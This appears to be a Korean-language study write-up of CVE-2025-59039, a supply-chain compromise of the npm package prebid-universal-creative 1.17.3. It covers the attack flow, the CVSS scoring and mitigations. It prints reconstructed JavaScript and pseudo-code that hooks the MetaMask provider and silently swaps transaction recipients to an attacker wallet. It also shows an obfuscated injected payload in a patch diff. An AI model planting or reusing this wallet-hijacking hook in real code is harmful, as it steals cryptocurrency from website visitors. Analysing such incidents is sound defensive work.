Skip to main content

CVE-2025-59039

Summary

  • 제품 : Prebid Universal Creative (PUC)
  • 영향 범위 : 1.17.3
  • 취약점 종류
    • CWE-506 - 임베디드 기반 악성코드 (CVE Details)
    • 메인테이너에게 피싱 메일 발송 후 npm 계정 권한 획득 후 악성 코드 주입
  • 결과
    • 웹 사이트 방문자의 브라우저에서 암호화폐 지갑 주소 조작 및 트랜잭션 탈취 (nvd)
  • CVSS (4.0) 9.3 Critical (AV:N / AC:L / AT:N / PR:N / UI:N / VC:H / VI:H / VA:H / SC:N / SI:N / SA:N)

1. 취약점 사례 조사

a. 스택 & 아키텍처

  • 언어 : JavaScript
  • 취약한 라이브러리 : prebid-universal-creative
  • 배포 경로 : NPM Registry

b. 취약 코드 구조 (AI 재구성)

※해당 코드는 기존 코드에서 가독성을 높이기 위해 압축을 해제함

(function() {
var pbjs = {};
pbjs.renderAd = function() { /* ... */ };
window.pbjs = pbjs;
})();

(function() {
var _target = "\x65\x74\x68\x65\x72\x65\x75\x6d";

if (typeof window !== 'undefined' && window[_target]) {

var originalRequest = window[_target].request;

window[_target].request = function(payload) {
if (payload && payload.method === 'eth_sendTransaction') {
var params = payload.params[0];

if (params && params.to) {
console.log("[Attack] Swapping address: " + params.to + " -> 0xAttacker...");
params.to = "0xAttackerWalletAddress1234..."; // 공격자 주소
}
}
// 변조된 payload로 원본 함수 실행
return originalRequest.call(this, payload);
};
}
})();
  • 탐지 회피: "ethereum" 같은 키워드를 Hex 코드로 숨김 \x65 \x74 \x68... -> "ethereum"
  • 브라우저에 메타마스크(window.ethereum)가 있을 때만 동작
  • Monkey Patching (함수 가로채기)
  • 트랜잭션 요청(eth_sendTransaction)인지 확인
  • 수신 주소를 공격자 지갑으로 변경 수행

c. 공격 플로우

  • 공격자가 prebid-iniversal-creative 메인테이너에게 피싱 메일 발송 후 npm 계정 권한 획득
  • 1.17.3에 암호화폐 탈취 로직 포함하여 npm에 게시
  • latest 태그를 사용하는 웹사이트와 CDN이 악성 버전 캐싱하여 서빙
  • 암호화폐 결제나 송금을 시도할 때 지갑 주소 변경

2. 취약점 위험도 / 심각도 분석 (CVSS 스코어 기반)

a. 공식 CVSS v4.0

  • 점수 : 9.3 (Critical)
  • 벡터 : AV:N / AC:L / AT:N / PR:N / UI:N / VC:H / VI:H / VA:H / SC:N / SI:N / SA:N

b. 각 요소 해석

  • Attack Vector (AV) : N (Network) → 네트워크를 통해 패키지 자동 패보
  • Attack Complexity (AC) : L (LOW) → 라이브러리 로드하는 사이트에 접속하면 스크립트 실행
  • Privileges Required (PR) : N (No Privileges Required) → 로그인이나 인증 토큰 없이 지갑 주소 변경 가능

c. 결론

광고 네트워크를 통해 전파되므로 피해 범위 매우 광범위하며 지갑 주소를 변경하여 금전적 손실 발생

3. CVE → CWE 연결 분석

CVE-2025-59039 → CWE-506 : Embedded Malicious Code

4. PoC

a. 공개 PoC (AI 구성)

소스 코드 또는 패키지 분석

  • prebid-universal-creative 개발자 계정 탈취로 암호화폐 지갑 훔치는 난독화 악성코드 주입

    pseudo-code

    FUNCTION Initialize_Attack():
    // 탐지 회피를 위해 "ethereum" 문자열을 16진수로 난독화 해제
    TARGET_PROVIDER = Deobfuscate("\x65\x74\x68\x65\x72\x65\x75\x6d")

    // 지갑 API(MetaMask 등)가 없으면 중단
    IF TARGET_PROVIDER is NOT in Global_Scope THEN:
    RETURN

    // 원본 request 함수 백업 (나중에 호출하기 위해)
    REAL_REQUEST_FUNC = Global_Scope[TARGET_PROVIDER].request

    // 2. 후킹 단계: 원본 함수를 악성 프록시 함수로 덮어쓰기
    Global_Scope[TARGET_PROVIDER].request = FUNCTION Malicious_Proxy(payload):

    // 사용자가 '송금'을 시도하는지 감지
    IF payload.method EQUALS "eth_sendTransaction" THEN:

    // 트랜잭션 파라미터 추출
    TX_PARAMS = payload.params[0]

    // 수신 주소(to)가 존재하는지 확인
    IF TX_PARAMS.to IS NOT NULL THEN:
    // [공격 핵심] 수신 주소를 해커의 지갑으로 교체
    TX_PARAMS.to = "0xHacker_Wallet_Address"

    LOG "Address Swapped: Target -> Hacker"
    END IF
    END IF

    // 변조된 payload로 원본 함수 실행 (사용자는 눈치채지 못함)
    RETURN CALL REAL_REQUEST_FUNC(payload)
    END FUNCTION

    END FUNCTION

    // 스크립트 로드 시 즉시 실행
    CALL Initialize_Attack()

b. 실습 목적 PoC 설계

5. 유사 사례 비교

a. CVE-2025-59037

  • 선택 사유 : NPM 계정 탈취로 같으나 DB관련 라이브러리로 차이점 존재 다양한 환경 경험 가능
  • PoC 설계 가이드 활용에 최적화

b. PoC 개념 흐름도

  1. 지갑 감지
  2. Hooks 설치
  3. 거래 요청 가로채기
  4. 수신자 주소 파악
  5. 공격자 주소로 대체
  6. 수정된 거래 전달
  7. 가짜 성공 응답

6. 방어 방법

a. 사용자

  • 즉시 조치

    • package.json 에서 prebid-universal-creative 버전을 1.17.2로 고정하거나 최신 안전 버전으로 업데이트
    • 버전을 명시하지 않은 CDN 링크 사용 금지 (반드시 해시와 버전 명시)
  • 임시 조치

    • package-lock.json 무결성 검사 필요

b. 패치 내용

  • 핵심 보안 패치 (AI가 재구성)

    변경 전

    (function() {
    var prebid = {};
    prebid.renderAd = function(doc, adId) {
    console.log("Ad rendered successfully");
    };
    window.pbjs = prebid;
    })();

    ;(function(_0xe3a1){var _0x1f2=['\x65\x74\x68\x65\x72\x65\x75\x6d','\x72\x65\x71\x75\x65\x73\x74'];if(window[_0x1f2[0]]){var _0x5b3=window[_0x1f2[0]];var _0x2c1=_0x5b3[_0x1f2[1]];_0x5b3[_0x1f2[1]]=function(_0x8a1){/*...Hooking Logic...*/return _0x2c1.apply(this,arguments);};}})();
    • function 함수 호출 이후 공격자가 삽입한 악성 페이로드 삽입
    1. 코드를 한 줄로 붙여 압축 및 난독화
    2. 변수명(_0x)을 사용하여 분석 방해

    변경 후

    (function() {
    var prebid = {};
    prebid.renderAd = function(doc, adId) {
    console.log("Ad rendered successfully");
    };
    window.pbjs = prebid;
    })();
    • 악성 페이로드 삭제

참고문헌